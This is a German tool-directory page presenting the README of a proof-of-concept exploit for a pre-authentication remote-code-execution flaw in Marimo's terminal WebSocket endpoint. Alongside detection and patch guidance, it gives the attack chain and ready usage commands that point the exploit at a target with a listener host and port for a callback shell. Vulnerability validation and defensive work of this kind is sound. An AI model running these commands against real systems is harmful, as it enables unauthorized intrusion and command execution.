Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987 — Proof-of-Concept-Exploit für CVE-2026-39987, eine Pre-Authentication-RCE im Terminal-WebSocket-Endpunkt von Marimo. Demonstriert die Ausführung von Befehlen ohne Authentifizierung und enthält Validierungstests für verwundbare und gepatchte Instanzen. | Kitploit
Tools/GitHubGitHub/th3purge/cve-2026-39987
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Proof-of-Concept-Exploit für CVE-2026-39987, eine Pre-Authentication-RCE im Terminal-WebSocket-Endpunkt von Marimo. Demonstriert die Ausführung von Befehlen ohne Authentifizierung und enthält Validierungstests für verwundbare und gepatchte Instanzen.

Repository anzeigen
1vor 7h 17mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987 Marimo Pre-Authentication RCE


📋 Informationen zur Schwachstelle

EigenschaftWert
CVECVE-2026-39987
ProduktMarimo
SchwachstelleRemote Code Execution vor der Authentifizierung
AngriffsvektorNetzwerk
AuthentifizierungNicht erforderlich
BenutzerinteraktionNicht erforderlich
CWECWE-306 — Fehlende Authentifizierung für kritische Funktion
SchweregradKritisch
Behobene Version0.23.0

CVE-2026-39987 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE) vor der Authentifizierung, die Marimo, eine reaktive Python-Notebook-Umgebung, betrifft. Die Schwachstelle befindet sich im Terminal-WebSocket-Endpunkt /terminal/ws.


🔍 Grundursache

Der anfällige Terminal-Endpunkt erstellt nach der Annahme einer WebSocket-Verbindung eine interaktive PTY.

Konzeptionell sieht der anfällige Anfrageablauf wie folgt aus:

root@kitploit:~
Remote-Client
     |
     | WebSocket-Verbindung
     v
/terminal/ws
     |
     | Fehlende Authentifizierungsprüfung
     v
WebSocket akzeptiert
     |
     v
PTY erstellt
     |
     v
Interaktive Shell

Die wichtige Sicherheitsgrenze ist die fehlende Authentifizierungsprüfung.

Ein Endpunkt, der die Ausführung beliebiger Befehle ermöglicht, darf es einem nicht authentifizierten Client nicht gestatten, die PTY-Erstellungslogik zu erreichen.


🎯 Zweck und Umfang

Primäres Ziel

Der Zweck dieses Projekts besteht darin, in einer kontrollierten Umgebung die fehlende Durchsetzung der Authentifizierung zu demonstrieren, die den Terminal-WebSocket-Endpunkt von Marimo betrifft.

Sicherheitsteams können das Projekt nutzen, um:

  • Die Exposition ihrer Marimo-Instanzen zu validieren
  • Die Wirksamkeit von Sicherheitspatches zu überprüfen
  • Potenzielle Sicherheitsauswirkungen zu dokumentieren
  • Defensive Kontrollen zu verbessern
  • Autorisierte Schwachstellenvalidierung zu unterstützen

Autorisierte Umgebungen

  • Sicherheitslabore im Besitz des Testers
  • Systeme mit ausdrücklicher schriftlicher Autorisierung
  • Schulungs- und Bildungsumgebungen
  • Autorisierte Penetrationstests und Sicherheitsbewertungen

Warnung: Führen Sie den PoC nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind.


🔗 Ausbeutungskette

Die vollständige Schwachstellenkette kann wie folgt zusammengefasst werden:

root@kitploit:~
1. Angreifer entdeckt exponierte Marimo-Instanz
                |
                v
2. Angreifer verbindet sich mit /terminal/ws
                |
                v
3. Authentifizierung wird nicht durchgesetzt
                |
                v
4. WebSocket-Verbindung wird akzeptiert
                |
                v
5. PTY-Terminal wird erstellt
                |
                v
6. Angreifer erhält Befehlsausführung
                |
                v
7. Befehle werden als Marimo-Prozess ausgeführt

Der kritische Sicherheitsfehler tritt in Schritt 3 auf.


📦 Installation

Anforderungen

root@kitploit:~
Python 3.7+
pip
Netzwerkzugriff auf das autorisierte Ziel

Abhängigkeiten

root@kitploit:~
# Grundinstallation
pip install websocket-client

# Vollständige Installation
pip install websocket-client rich

Überprüfung

root@kitploit:~
python3 exploit.py --help

🚀 Verwendungsanleitung

Grundlegende Syntax

root@kitploit:~
python3 exploit.py -u <ZIEL-URL> --lhost <LOKALE-IP> --lport <PORT>

Praktische Beispiele

1. Lokaler Labortest

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Autorisierter Remote-Test

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Debug-Modus

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Parameterreferenz

ParameterTypBeschreibungStandard
-u, --urlstringBasis-URL der Ziel-Marimo-InstanzErforderlich
--lhoststringListener-IP-AdresseErforderlich
--lportintListener-Port (1-65535)Erforderlich
--timeoutintListener-Timeout in Sekunden15
--retriesintWebSocket-Verbindungswiederholungen3
--retry-delayfloatVerzögerung zwischen Wiederholungen2.0
--no-verify-sslflagSSL-Zertifikatsprüfung deaktivierenFalse
-v, --verboseflagAusführliche Ausgabe aktivierenFalse
-s, --silentflagAusgabe unterdrückenFalse

🔄 Exploit-Ablauf

root@kitploit:~
Phase 1: Initialisierung
    ↓ Parameter validieren
    ↓ Protokollierung konfigurieren

Phase 2: Vorbereitung
    ↓ Listener initialisieren
    ↓ WebSocket-Verbindung herstellen

Phase 3: Validierung
    ↓ Terminal-Endpunkt testen
    ↓ Durchsetzung der Authentifizierung überprüfen
    ↓ Verbindungsverhalten aufzeichnen

Phase 4: Demonstration
    ↓ Autorisierte Testsitzung einrichten
    ↓ Kontext der Befehlsausführung überprüfen
    ↓ Validierungsnachweise sammeln

Phase 5: Bereinigung
    ↓ Terminalzustand wiederherstellen
    ↓ Verbindungen schließen
    ↓ Ressourcen freigeben

🧪 Validierungstests

Testszenarien

Anfällige Instanz

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Erwartetes Ergebnis: Der anfällige Terminal-Endpunkt akzeptiert die nicht authentifizierte Verbindung.

Gepatchte Instanz

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Erwartetes Ergebnis: Die Verbindung wird von den Authentifizierungskontrollen abgelehnt oder anderweitig verhindert.

Timeout-Test

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Erwartetes Ergebnis: Der Timeout wird sauber gemeldet.


📈 Schwachstellenstatistik

root@kitploit:~
Schweregrad:     Kritisch (CVSS 9.3)
Komplexität:     Niedrig
Authentifizierung: Keine erforderlich
Auswirkung:      Remote Code Execution
Protokoll:       WebSocket
Endpunkt:        /terminal/ws
Behobene Version: 0.23.0

Die Quell-README klassifiziert das Problem als CVSS 9.3 Kritisch und identifiziert CWE-306, WebSocket als Protokoll und /terminal/ws als betroffenen Endpunkt.


🔎 Erkennung

Mögliche Indikatoren für eine Ausbeutung sind unerwartete WebSocket-Verbindungen zu:

root@kitploit:~
/terminal/ws

Verteidiger sollten untersuchen:

  • Unerwartete Verbindungen zum Terminal-WebSocket-Endpunkt
  • Unerwartete Shell-Prozesse, die von Marimo erzeugt werden
  • Verdächtige Kindprozesse
  • Unerwartete ausgehende Verbindungen
  • Zugriff auf sensible Umgebungsvariablen
  • Unerwartete Dateisystemaktivitäten
  • Unbekannte Befehle, die vom Marimo-Prozess ausgeführt werden

🛡️ Behebung

Aktualisieren Sie Marimo auf eine behobene Version:

root@kitploit:~
0.23.0 oder neuer

Zusätzliche defensive Empfehlungen umfassen:

  • Setzen Sie Marimo nicht direkt dem öffentlichen Internet aus, es sei denn, es ist erforderlich.
  • Platzieren Sie Notebook-Dienste hinter einem authentifizierten Reverse-Proxy.
  • Beschränken Sie den Netzwerkzugriff auf vertrauenswürdige Benutzer und Netzwerke.
  • Führen Sie Marimo mit den minimal erforderlichen Berechtigungen aus.
  • Vermeiden Sie das Einhängen sensibler Host-Verzeichnisse in Container.
  • Rotieren Sie Anmeldeinformationen, die für kompromittierte Instanzen zugänglich gewesen sein könnten.
  • Überprüfen Sie Protokolle auf verdächtige /terminal/ws-Aktivitäten.
  • Untersuchen Sie potenziell kompromittierte Instanzen, anstatt anzunehmen, dass das Patchen allein die Persistenz des Angreifers entfernt.

🔐 Sicherheitsklassifizierung

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Schweregrad: Kritisch
Typ:        Pre-Authentication RCE
Protokoll:  WebSocket
Endpunkt:   /terminal/ws
Auth:       Keine erforderlich
Behoben:    0.23.0

📄 Lizenz

NUR FÜR AUTORISIERTE NUTZUNG

Dieses Projekt wird ausschließlich bereitgestellt für:

  • Autorisierte Sicherheitstests
  • Akademische Forschung
  • Schwachstellenvalidierung
  • Sicherheitsschulungen
  • Entwicklung defensiver Sicherheitsmaßnahmen

Nicht autorisierte Nutzung ist strengstens untersagt und kann geltende lokale und internationale Gesetze verletzen.


⚠️ Haftungsausschluss

Dieses Projekt wird für Sicherheitsforschung, Schwachstellenvalidierung und Bildungszwecke bereitgestellt.

Verwenden Sie den PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Autorisierung zum Testen haben.

Die Betreuer sind nicht verantwortlich für Missbrauch, nicht autorisierte Tests, Schäden, Datenverluste oder Folgen, die sich aus der Nutzung dieses Projekts ergeben.

Tool herunterladen